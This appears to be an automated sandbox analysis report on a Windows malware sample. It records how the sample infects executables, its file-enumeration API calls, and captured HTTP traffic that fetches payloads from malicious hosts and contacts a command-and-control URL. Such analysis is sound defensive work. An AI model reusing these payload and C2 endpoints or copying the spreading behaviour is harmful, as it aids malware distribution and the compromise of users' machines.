Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000F.00000002.1619016276.0000000002290000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000011.00000002.1699561584.0000000002200000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\sh\odct\1105_210049_0\client\onedrive\Setup\Standalone\exe\obj\i386\OneDriveSetup.pdb source: wctFF6F.tmp.11.dr

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Code function: 1_2_002E29E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,	1_2_002E29E2
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Code function: 1_2_002E2B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

1_2_002E2B8C

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://fuyt.org/test1/get.php

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 53479 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 53483 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 53485 -> 799

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 44.221.84.105:799

Source: Joe Sandbox View	IP Address: 44.221.84.105 44.221.84.105
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: LIVECOMM-ASRespublikanskayastr3k6RU LIVECOMM-ASRespublikanskayastr3k6RU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k4.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k5.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Code function: 1_2_002E1099 wsprintfA,WinExec,lstrlen,wsprintfA,wsprintfA,URLDownloadToFileA,lstrlen,Sleep,

1_2_002E1099

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zerit.top
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /cj//k4.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /cj//k5.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org

Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602506296.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602923443.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2603050021.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://www.linkedin.com/ equals www.linkedin.com (Linkedin)
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://www.yahoo.com/ equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: ddos.dnsnb8.net
Source: global traffic	DNS traffic detected: DNS query: api.2ip.ua
Source: global traffic	DNS traffic detected: DNS query: zerit.top
Source: global traffic	DNS traffic detected: DNS query: fuyt.org
Source: global traffic	DNS traffic detected: DNS query: 56.126.166.20.in-addr.arpa

Source: lgYdZ.exe, 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmp, lgYdZ.exe, 00000001.00000003.1398295675.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1662799532.0000000000FF0000.00000004.00001000.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831504244.0000000000183000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE
Source: NTUSER.DAT.11.dr	String found in binary or memory: http://Passport.NET/purpose
Source: NTUSER.DAT.11.dr	String found in binary or memory: http://Passport.NET/purpose::PURPOSE_IDP_BINDId
Source: NTUSER.DAT.11.dr	String found in binary or memory: http://Passport.NET/purpose::PURPOSE_IDP_BINDela
Source: NTUSER.DAT.11.dr	String found in binary or memory: http://Passport.NET/purposeg
Source: lgYdZ.exe, 00000012.00000003.1673074893.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1673074893.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000DB0000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1673150206.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar
Source: lgYdZ.exe, 00000012.00000003.1673074893.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar7W
Source: lgYdZ.exe, 00000001.00000003.1417949075.0000000000FF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarC:
Source: lgYdZ.exe, 00000012.00000003.1830630425.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1673150206.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarP2X_
Source: lgYdZ.exe, 00000001.00000002.1586955216.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rara
Source: lgYdZ.exe, 00000012.00000003.1830630425.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1673150206.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rare2
Source: lgYdZ.exe, 00000012.00000003.1673074893.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000E26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarsC:
Source: lgYdZ.exe, 00000012.00000003.1673074893.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.raruW
Source: lgYdZ.exe, 00000001.00000002.1586955216.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar
Source: lgYdZ.exe, 00000001.00000002.1586955216.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar/
Source: lgYdZ.exe, 00000012.00000003.1830630425.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000E26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar5C:
Source: lgYdZ.exe, 00000012.00000002.1831813285.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar7W
Source: lgYdZ.exe, 00000012.00000002.1831813285.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarKU
Source: lgYdZ.exe, 00000012.00000002.1831813285.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.raroW
Source: lgYdZ.exe, 00000012.00000003.1830630425.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar
Source: lgYdZ.exe, 00000001.00000002.1586955216.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar:
Source: lgYdZ.exe, 00000001.00000002.1586955216.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rarC
Source: lgYdZ.exe, 00000001.00000002.1586955216.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rard
Source: lgYdZ.exe, 00000012.00000003.1830630425.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000E26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rarfC:
Source: lgYdZ.exe, 00000012.00000002.1831813285.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rar
Source: lgYdZ.exe, 00000012.00000002.1831813285.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rar:T
Source: lgYdZ.exe, 00000012.00000002.1831813285.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rar
Source: lgYdZ.exe, 00000012.00000003.1830630425.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000E26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rarC:
Source: lgYdZ.exe, 00000012.00000002.1831813285.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rarxT
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2001886107.0000000000767000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2001842464.0000000000764000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.0000000000794000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe$run
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe$runrue
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exeC
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2001886107.0000000000767000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2001842464.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exez
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000709000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.0000000000794000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.0000000000747000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.00000000006B8000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.00000000006F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7Ef
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7Ej
